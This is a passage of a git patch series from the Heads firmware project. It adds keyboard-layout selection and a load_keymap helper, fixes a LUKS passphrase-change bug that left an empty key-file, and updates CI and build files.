CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index afa6dc66e..2d5a23708 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config index be7fde7de..8325b46ac 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 9804ae8fb..faf19d40b 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -94,4 +94,6 @@ export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu From e74852a1773c95a6a3ecc447c8625779772f9dff Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 24 Apr 2025 14:12:56 -0400 Subject: [PATCH 605/619] bin/config-gui.sh: Help user select which keyboard type he has (qwerty/qwertz/azerty) prior of chossing, testing one, rejecting, testing one until confirming ok. Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 140 +++++++++++++++++++++------------------ 1 file changed, 74 insertions(+), 66 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 42bbdd601..d0e3b709b 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -76,12 +76,14 @@ while true; do # USB keyboard support always loads. [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] && dynamic_config_options+=( 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" - ) + ) - # Add keyboard keymap selection option - dynamic_config_options+=( - 'k' ' Change Keyboard Keymap' - ) + # Add keyboard keymap selection option only if loadkeys and keymaps exist + if [ -x /bin/loadkeys ] && [ -d /usr/lib/kbd/keymaps ]; then + dynamic_config_options+=( + 'k' ' Change Keyboard Keymap' + ) + fi # Debugging option always available dynamic_config_options+=( @@ -557,73 +559,79 @@ while true; do DEFAULT_KEYMAP="$KEYMAP_ROOT/i386/qwerty/us.map" CURRENT_KEYMAP="$(load_config_value KEYBOARD_KEYMAP)" [ -z "$CURRENT_KEYMAP" ] && CURRENT_KEYMAP="$DEFAULT_KEYMAP" - BROWSE_DIR="$KEYMAP_ROOT" + while true; do - menu_entries=() - # List directories (if they contain .map or subdirs) and .map files, skip "include" - for entry in "$BROWSE_DIR"/*; do - [ "$(basename "$entry")" = "include" ] && continue - if [ -d "$entry" ]; then - has_content=0 - for sub in "$entry"/*; do - [ -d "$sub" ] && has_content=1 && break - [[ "$sub" == *.map ]] && has_content=1 && break - done - if [ $has_content -eq 1 ]; then - menu_entries+=("$(basename "$entry")/" "$(basename "$entry")/") - fi - elif [[ "$entry" == *.map ]]; then - menu_entries+=("$(basename "$entry")" "$(basename "$entry")") + # Guide user into finding which keyboard type he has + whiptail --title "Keyboard Layout Type" \ + --menu "Look at the first row of your keyboard and select the layout type:" 0 60 3 \ + "qwerty" "QWERTY (most common: US, UK, etc.)" \ + "qwertz" "QWERTZ (German, Central Europe)" \ + "azerty" "AZERTY (French, Belgian)" \ + "Cancel" "Cancel keymap selection" \ + 2>/tmp/whiptail || break + + layout_choice=$(cat /tmp/whiptail) + case "$layout_choice" in + "Cancel"|"") + loadkeys "$CURRENT_KEYMAP" + break + ;; + "qwerty"|"qwertz"|"azerty") + BROWSE_DIR="$KEYMAP_ROOT/i386/$layout_choice" + ;; + *) + whiptail --title "Invalid selection" --msgbox "Invalid layout selection." 0 40 + break + ;; + esac + + while true; do + menu_entries=() + # Add ".." at the top to go back to layout selection + menu_entries+=(".." "Back to layout selection") + # List .map files in the selected layout directory + for entry in "$BROWSE_DIR"/*.map; do + [ -f "$entry" ] && menu_entries+=("$(basename "$entry")" "$(basename "$entry")") + done + menu_entries+=("Cancel" "Cancel") + + if [ ${#menu_entries[@]} -le 2 ]; then + whiptail --title "No keymaps" --msgbox "No keymaps found in $BROWSE_DIR." 0 60 + break fi - done - final_entries=() - [ "$BROWSE_DIR" != "$KEYMAP_ROOT" ] && final_entries+=(".." "..") - for ((i=0; i<${#menu_entries[@]}; i+=2)); do - final_entries+=("${menu_entries[i]}" "${menu_entries[i+1]}") - done - final_entries+=("Cancel" "Cancel") - - if [ ${#final_entries[@]} -le 2 ]; then - whiptail --title "No keymaps" --msgbox "No keymaps or directories found here." 0 60 - break - fi + whiptail --title "Select Keymap" \ + --menu "Select a keymap file for $layout_choice layout.\n\n(Current: ${CURRENT_KEYMAP:-none})" 0 80 18 \ + "${menu_entries[@]}" 2>/tmp/whiptail || break - whiptail --title "Select Keymap" \ - --menu "Browse to select a keymap file.\n\n(Current: ${CURRENT_KEYMAP:-none})" 0 80 18 \ - "${final_entries[@]}" 2>/tmp/whiptail || break - - choice=$(cat /tmp/whiptail) - if [ "$choice" = "Cancel" ]; then - loadkeys "$CURRENT_KEYMAP" - break - fi - if [ "$choice" = ".." ]; then - BROWSE_DIR="$(dirname "$BROWSE_DIR")" - [ "$BROWSE_DIR" = "/" ] && BROWSE_DIR="$KEYMAP_ROOT" - continue - elif [[ "$choice" == */ ]]; then - BROWSE_DIR="$BROWSE_DIR/${choice%/}" - continue - elif [[ "$choice" == *.map ]]; then - SELECTED_KEYMAP="$BROWSE_DIR/$choice" - loadkeys "$SELECTED_KEYMAP" - echo - echo "------------------------------------------------------------" - echo "Keymap loaded: $SELECTED_KEYMAP" - echo - echo "You can now test your keyboard layout in this shell." - echo "Press Enter when done testing to continue..." - echo "------------------------------------------------------------" - read -p $'\nTest your keymap now. Press Enter to continue:\n' dummy - if whiptail --title "Keep this keymap?" \ - --yesno "Do you want to use this keymap?\n\n$SELECTED_KEYMAP" 0 70; then - set_user_config "KEYBOARD_KEYMAP" "$SELECTED_KEYMAP" - whiptail --title "Keymap set" --msgbox "Keymap set to:\n\n$SELECTED_KEYMAP\n\nSave the config change and reboot for it to go into effect." 0 70 + choice=$(cat /tmp/whiptail) + if [ "$choice" = "Cancel" ]; then + loadkeys "$CURRENT_KEYMAP" + break 2 + fi + if [ "$choice" = ".." ]; then + # Go back to layout selection break + elif [[ "$choice" == *.map ]]; then + SELECTED_KEYMAP="$BROWSE_DIR/$choice" + loadkeys "$SELECTED_KEYMAP" + echo + echo "------------------------------------------------------------" + echo "Keymap loaded: $SELECTED_KEYMAP" + echo + echo "You can now test your keyboard layout in this shell." + echo "Press Enter when done testing to continue..." + echo "------------------------------------------------------------" + read -p $'\nTest your keymap now. Press Enter to continue:\n' dummy + if whiptail --title "Keep this keymap?" \ + --yesno "Do you want to use this keymap?\n\n$SELECTED_KEYMAP" 0 70; then + set_user_config "KEYBOARD_KEYMAP" "$SELECTED_KEYMAP" + whiptail --title "Keymap set" --msgbox "Keymap set to:\n\n$SELECTED_KEYMAP\n\nSave the config change and reboot for it to go into effect." 0 70 + break 2 + fi + loadkeys "$CURRENT_KEYMAP" fi - loadkeys "$CURRENT_KEYMAP" - fi + done done ;; "Z") From b2138f89418d1a0da855d61a678501b680150138 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 24 Apr 2025 15:15:25 -0400 Subject: [PATCH 606/619] bin/config-gui.sh: persist proper CONFIG_KEYBOARD_KEYMAP Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index d0e3b709b..adfddb328 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -557,7 +557,7 @@ while true; do "k") KEYMAP_ROOT="/usr/lib/kbd/keymaps" DEFAULT_KEYMAP="$KEYMAP_ROOT/i386/qwerty/us.map" - CURRENT_KEYMAP="$(load_config_value KEYBOARD_KEYMAP)" + CURRENT_KEYMAP="$(load_config_value CONFIG_KEYBOARD_KEYMAP)" [ -z "$CURRENT_KEYMAP" ] && CURRENT_KEYMAP="$DEFAULT_KEYMAP" while true; do @@ -625,7 +625,7 @@ while true; do read -p $'\nTest your keymap now. Press Enter to continue:\n' dummy if whiptail --title "Keep this keymap?" \ --yesno "Do you want to use this keymap?\n\n$SELECTED_KEYMAP" 0 70; then - set_user_config "KEYBOARD_KEYMAP" "$SELECTED_KEYMAP" + set_user_config "CONFIG_KEYBOARD_KEYMAP" "$SELECTED_KEYMAP" whiptail --title "Keymap set" --msgbox "Keymap set to:\n\n$SELECTED_KEYMAP\n\nSave the config change and reboot for it to go into effect." 0 70 break 2 fi From 0990f988837964cfdfdf50cc638c1675200cb702 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 24 Apr 2025 20:54:08 -0400 Subject: [PATCH 607/619] xx20 (x220/t420): explicitely deactivate CONFIG_KBD (loadkeys + keyboard keymaps) for those boards with insufficient SPI space (8MB) Signed-off-by: Thierry Laurion --- boards/t420-hotp-maximized/t420-hotp-maximized.config | 3 +++ boards/t420-maximized/t420-maximized.config | 3 +++ boards/x220-hotp-maximized/x220-hotp-maximized.config | 3 +++ boards/x220-maximized/x220-maximized.config | 3 +++ 4 files changed, 12 insertions(+) diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index c549b2686..c7bc40700 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -15,6 +15,9 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config +#EXPLICITELY DEACTIVATE KBD + loadkeys + keymap support since sandy bridge based laptops with 8Mb SPI is not big enough +CONFIG_KBD=n + #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 2d9edcea3..ed317013c 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -14,6 +14,9 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config +#EXPLICITELY DEACTIVATE KBD + loadkeys + keymap support since sandy bridge based laptops with 8Mb SPI is not big enough +CONFIG_KBD=n + #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 5a6626114..d17cdc241 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -15,6 +15,9 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config +#EXPLICITELY DEACTIVATE KBD + loadkeys + keymap support since sandy bridge based laptops with 8Mb SPI is not big enough +CONFIG_KBD=n + #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 60e56204a..887abce00 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -15,6 +15,9 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config +#EXPLICITELY DEACTIVATE KBD + loadkeys + keymap support since sandy bridge based laptops with 8Mb SPI is not big enough +CONFIG_KBD=n + #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y From baffab00804d4c35cd9b0d6ea2663a36397ef022 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 27 Apr 2025 22:01:00 +0200 Subject: [PATCH 608/619] fix change passphrase there was a bug where the user was never asked to enter a new passphrase thus the luks_new_Disk_Recovery_Key_passphrase was not set and an empty file was used as the key-file apart from being a serious confidentiality issue as an empty password does not provide any protection it is also not possible to enter empty passwords from the prompts upon boot in both heads and payload OSes therefore the user would have to manually change the password once the bug hit them the bug was triggered because of a weird if else code path in which the else branch would never be taken because test_luks_current_disk_recovery_key_passphrase would always already set the current passphrase Signed-off-by: gaspar-ilom --- initrd/etc/luks-functions | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 8002fd41c..43fc09aac 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -519,24 +519,26 @@ luks_change_passphrase() { luks_containers=($LUKS) TRACE_FUNC DEBUG "luks_containers: ${luks_containers[@]}" + # unset new passphrase to make sure the user enters it and knows what they are setting as the new passphrase! + unset luks_new_Disk_Recovery_Key_passphrase for luks_container in "${luks_containers[@]}"; do - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then if [ -f /tmp/secret/luks_current_Disk_Recovery_Key_passphrase ]; then luks_current_Disk_Recovery_Key_passphrase=$(cat /tmp/secret/luks_current_Disk_Recovery_Key_passphrase) else - whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ - "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 - - echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" - while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do - read -r luks_new_Disk_Recovery_Key_passphrase - done - TRACE_FUNC echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" read -r luks_current_Disk_Recovery_Key_passphrase fi + elif [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ + "Please choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 + + echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" + while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + read -r luks_new_Disk_Recovery_Key_passphrase + done fi echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase From de80fda4d9a58ce0ab06b26fd900fc5cc7ebc60c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 2 May 2025 13:42:14 -0400 Subject: [PATCH 609/619] Bump nix develop based docker image to tlaurion/heads-dev-env:v0.2.5 : we add procps+psmisc in flake.nix to be able to troubleshoot processes and /proc related info from docker image Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- flake.nix | 4 +++- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index ec4607f41..86efe02b3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -48,7 +48,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.4 + - image: tlaurion/heads-dev-env:v0.2.5 resource_class: large working_directory: ~/heads steps: @@ -122,7 +122,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.4 + - image: tlaurion/heads-dev-env:v0.2.5 resource_class: large working_directory: ~/heads parameters: @@ -150,7 +150,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.2.4 + - image: tlaurion/heads-dev-env:v0.2.5 resource_class: large working_directory: ~/heads parameters: @@ -171,7 +171,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.4 + - image: tlaurion/heads-dev-env:v0.2.5 resource_class: large working_directory: ~/heads steps: diff --git a/flake.nix b/flake.nix index bee186b05..ba0afa9cd 100644 --- a/flake.nix +++ b/flake.nix @@ -24,7 +24,7 @@ autoconf automake bashInteractive - coreutils + coreutils #basic tools like ls, cp, mv, kill) bc bison # Generate flashmap descriptor parser bzip2 @@ -58,6 +58,8 @@ patch perl pkg-config + procps #process tools like free, pidof, pkill, top, vmstat, watch, etc + psmisc #process tools like killall, pstree, etc python3 # me_cleaner, coreboot rsync # coreboot sharutils From 59ade6981763ef77170b0ce5c29f7cfa1753858f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 2 May 2025 14:47:23 -0400 Subject: [PATCH 610/619] CircleCI: fix prep_env changing x230-hotp-maximized step for building musl-cross-make from x230 to t480 (t480 is part of save_cache, not x230...) Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 86efe02b3..9764c6d8c 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -219,7 +219,7 @@ workflows: # This step builds musl-cross-make for x86 architecture, which will be used by subsequent x86 board builds - build_and_persist: name: x86-musl-cross-make - target: x230-hotp-maximized + target: t480-hotp-maximized subcommand: "musl-cross-make" requires: - prep_env From 4eb038c7cc0dc3697f6efa711a0e79daf986118c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 2 May 2025 15:26:51 -0400 Subject: [PATCH 611/619] modules/musl-cross-make: use $(MAKE) correctly at configure step (what generating error since $$$$(MAKE) was resolved to MAKE in configure.log, but was still working correctly) See: https://app.circleci.com/pipelines/github/tlaurion/heads/3314/workflows/e588480d-d13a-49e0-a1b6-78fed839b70b/jobs/67601?invite=true#step-102-1420_53 Signed-off-by: Thierry Laurion --- modules/musl-cross-make | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/musl-cross-make b/modules/musl-cross-make index f10a159e7..e4662e8ba 100644 --- a/modules/musl-cross-make +++ b/modules/musl-cross-make @@ -35,7 +35,7 @@ else # No need to build i386 for x86 since coreboot uses its own compiler musl-cross-make_configure := \ echo -e >> Makefile 'musl-target:' ; \ - echo -e >> Makefile '\t$$$$(MAKE) TARGET="$(MUSL_ARCH)-linux-musl" install' ; + echo -e >> Makefile '\t$$(MAKE) TARGET="$(MUSL_ARCH)-linux-musl" install' ; CROSS_PATH ?= $(pwd)/crossgcc/$(CONFIG_TARGET_ARCH) From 2af1305b53b2f495aaa9cd29fd9edb90ddb96cde Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 2 May 2025 17:41:21 -0400 Subject: [PATCH 612/619] linux: Ship the default keymap if loadkeys is included This is the actual default keymap the kernel loads by default (it is different from any of the keymaps provided by kbd, although possibly not in any way anyone would care about). This makes loadkeys --default work. Signed-off-by: Jonathon Hall --- modules/linux | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/modules/linux b/modules/linux index 56b2a7f5f..206ff95f1 100644 --- a/modules/linux +++ b/modules/linux @@ -216,6 +216,14 @@ $(build)/$(BOARD)/$(LINUX_IMAGE_FILE).bundled: \ @touch $@ # force a timestamp update @sha256sum "$@" | tee -a "$(HASHES)" +# If loadkeys is shipped, include the actual default keymap used by the kernel, +# so loadkeys --default really resets the keymap to the default state. +ifeq "$(CONFIG_KBD_LOADKEYS)" "y" +$(build)/$(linux_base_dir)/drivers/tty/vt/defkeymap.map: $(build)/$(linux_base_dir)/.canary +linux_data += \ + $(build)/$(linux_base_dir)/drivers/tty/vt/defkeymap.map|share/keymaps/defkeymap.map +endif + # modify_and_save_defconfig_in_place target allows us edit current in tree config # under linux decompressed+patched directory through menuconfig # and put it back in git tree to check changes with git difftool iteratively From e1b9eea4ffc6ace0c0f8c1d60b88015086927968 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 2 May 2025 17:42:31 -0400 Subject: [PATCH 613/619] config-gui: Use term "Keyboard layout" instead of "Keyboard keymap" Signed-off-by: Jonathon Hall --- initrd/bin/config-gui.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index adfddb328..d7cc5a257 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -81,7 +81,7 @@ while true; do # Add keyboard keymap selection option only if loadkeys and keymaps exist if [ -x /bin/loadkeys ] && [ -d /usr/lib/kbd/keymaps ]; then dynamic_config_options+=( - 'k' ' Change Keyboard Keymap' + 'k' ' Change Keyboard Layout' ) fi From ca203957ddf4388c1755ca6a94b98d24c0b82d39 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 2 May 2025 17:42:56 -0400 Subject: [PATCH 614/619] keymaps: Generalize board keymap, ensure it always applies Put a board's keymap at /etc/board_keys.map and support it in the normal logic, instead of with ad-hoc logic in the board init. Whenever loading a new keymap, reset the current keymap first, and load the board's override last (if there is one). This way, the result is always the same even if the new keymap does not define all keys, and the board's overridden keys stay overridden. Use the actual kernel default instead of us.map (which is different, but possibly not in any way anyone would care about). Remove some redundant loads of the current keymap when canceling. We already restore the current keymap any time a change was made that was rejected. Signed-off-by: Jonathon Hall --- boards/librem_11/initrd/bin/board-init.sh | 3 -- .../etc/{librem_11.map => board_keys.map} | 0 initrd/bin/config-gui.sh | 8 +--- initrd/etc/functions | 44 +++++++++++++++++++ initrd/init | 6 +-- 5 files changed, 47 insertions(+), 14 deletions(-) delete mode 100755 boards/librem_11/initrd/bin/board-init.sh rename boards/librem_11/initrd/etc/{librem_11.map => board_keys.map} (100%) diff --git a/boards/librem_11/initrd/bin/board-init.sh b/boards/librem_11/initrd/bin/board-init.sh deleted file mode 100755 index 0e999e098..000000000 --- a/boards/librem_11/initrd/bin/board-init.sh +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/bash -set -e -o pipefail -loadkeys /etc/librem_11.map diff --git a/boards/librem_11/initrd/etc/librem_11.map b/boards/librem_11/initrd/etc/board_keys.map similarity index 100% rename from boards/librem_11/initrd/etc/librem_11.map rename to boards/librem_11/initrd/etc/board_keys.map diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index d7cc5a257..b741bf71d 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -556,9 +556,7 @@ while true; do ;; "k") KEYMAP_ROOT="/usr/lib/kbd/keymaps" - DEFAULT_KEYMAP="$KEYMAP_ROOT/i386/qwerty/us.map" CURRENT_KEYMAP="$(load_config_value CONFIG_KEYBOARD_KEYMAP)" - [ -z "$CURRENT_KEYMAP" ] && CURRENT_KEYMAP="$DEFAULT_KEYMAP" while true; do # Guide user into finding which keyboard type he has @@ -573,7 +571,6 @@ while true; do layout_choice=$(cat /tmp/whiptail) case "$layout_choice" in "Cancel"|"") - loadkeys "$CURRENT_KEYMAP" break ;; "qwerty"|"qwertz"|"azerty") @@ -606,7 +603,6 @@ while true; do choice=$(cat /tmp/whiptail) if [ "$choice" = "Cancel" ]; then - loadkeys "$CURRENT_KEYMAP" break 2 fi if [ "$choice" = ".." ]; then @@ -614,7 +610,7 @@ while true; do break elif [[ "$choice" == *.map ]]; then SELECTED_KEYMAP="$BROWSE_DIR/$choice" - loadkeys "$SELECTED_KEYMAP" + load_keymap "$SELECTED_KEYMAP" echo echo "------------------------------------------------------------" echo "Keymap loaded: $SELECTED_KEYMAP" @@ -629,7 +625,7 @@ while true; do whiptail --title "Keymap set" --msgbox "Keymap set to:\n\n$SELECTED_KEYMAP\n\nSave the config change and reboot for it to go into effect." 0 70 break 2 fi - loadkeys "$CURRENT_KEYMAP" + load_keymap "$CURRENT_KEYMAP" fi done done diff --git a/initrd/etc/functions b/initrd/etc/functions index ccc15dd81..749e6f933 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1390,3 +1390,47 @@ generate_passphrase() { echo "$passphrase" return 0 } + +# Load a keymap. Normally used to load the configured keymap, also used in +# config to test a keymap. +# +# This always resets the keymap before loading, so the result is the same even +# if other keymaps had been loaded before, and even if the new keymap doesn't +# define all keys (or if none was given). +# +# If the board defines an override keymap, it is always loaded after the keymap. +# (For example, tablets map volume up/down and power to up/down/enter, and we +# do not want a custom keymap to override that.) +# +# If the board didn't include loadkeys, this is a no-op. +load_keymap() { + TRACE_FUNC + + if ! [ -x /bin/loadkeys ]; then + return 0 + fi + + DEBUG "Loading keyboard keymap: $1" + + # Reset the keymap + DO_WITH_DEBUG loadkeys --default + + # Load the specified keymap, if given + if [ -n "$1" ]; then + if [ -f "$1" ]; then + DO_WITH_DEBUG loadkeys "$1" + else + # We can continue by ignoring the specified keymap, but + # this might mean keys map unexpectedly. If this is + # desired, update or clear the keymap setting to silence + # the warning. + warn "Keymap $1 does not exist, continuing without keymap" + fi + fi + + # Load the board keymap. These only define the keys that must always + # have a specific function on that board. + if [ -f /etc/board_keys.map ]; then + DO_WITH_DEBUG loadkeys /etc/board_keys.map + fi +} diff --git a/initrd/init b/initrd/init index ff32f0c68..44f2abecd 100755 --- a/initrd/init +++ b/initrd/init @@ -192,11 +192,7 @@ if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = "y fi # Set the keyboard keymap if defined, file exists, and loadkeys is available -if [ -n "$CONFIG_KEYBOARD_KEYMAP" ] && [ -f "$CONFIG_KEYBOARD_KEYMAP" ] && [ -x /bin/loadkeys ]; then - TRACE_FUNC - DEBUG "Loading keyboard keymap: $CONFIG_KEYBOARD_KEYMAP" - DO_WITH_DEBUG loadkeys "$CONFIG_KEYBOARD_KEYMAP" -fi +load_keymap "$CONFIG_KEYBOARD_KEYMAP" # If the user has been holding down r, enter a recovery shell # otherwise immediately start the configured boot script. From 864005d34d3c4195427070d343c49a448e1cee85 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 5 May 2025 13:09:20 -0400 Subject: [PATCH 615/619] etc/functions : load_keymap; move dynamic keyboard layout keymap DEBUG message where useful, add context in case linux shipped keymap not loading for DO_WITH_DEBUG Signed-off-by: Thierry Laurion --- initrd/etc/functions | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 749e6f933..7e005050d 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1410,14 +1410,14 @@ load_keymap() { return 0 fi - DEBUG "Loading keyboard keymap: $1" - # Reset the keymap + DEBUG "Loading linux kernel shipped keyboard layout keymap: share/keymaps/defkeymap.map" DO_WITH_DEBUG loadkeys --default # Load the specified keymap, if given if [ -n "$1" ]; then if [ -f "$1" ]; then + DEBUG "Loading keyboard keymap: $1" DO_WITH_DEBUG loadkeys "$1" else # We can continue by ignoring the specified keymap, but From c324a834acf16216437fd05e3b2ff0d216e9aa3f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 5 May 2025 13:39:08 -0400 Subject: [PATCH 616/619] Makefile: make sure coreboot forks do the right thing when there is no .canary file but coreboot fork directory exists Improves collaboration with Makefile real.remove_canary_files-extract_patch_rebuild_what_changed helper: - if canary is not found but coreboot fork directory exists: do not attempt to git clone; git reset instead and reuse previous logic - if canary is not found and coreboot dir doesn't exist: git clone Signed-off-by: Thierry Laurion --- Makefile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Makefile b/Makefile index cc6ebb235..ceaf0b61c 100644 --- a/Makefile +++ b/Makefile @@ -416,15 +416,15 @@ define define_module = # XXX: "git clean -dffx" is a hack for coreboot during commit switching, need # module-specific cleanup action to get rid of it. $(build)/$($1_base_dir)/.canary: FORCE - if [ ! -e "$$@" ]; then \ - echo "INFO: .canary file not found. Cloning repository $($1_repo) into $(build)/$($1_base_dir)" && \ + if [ ! -e "$$@" ] && [ ! -d 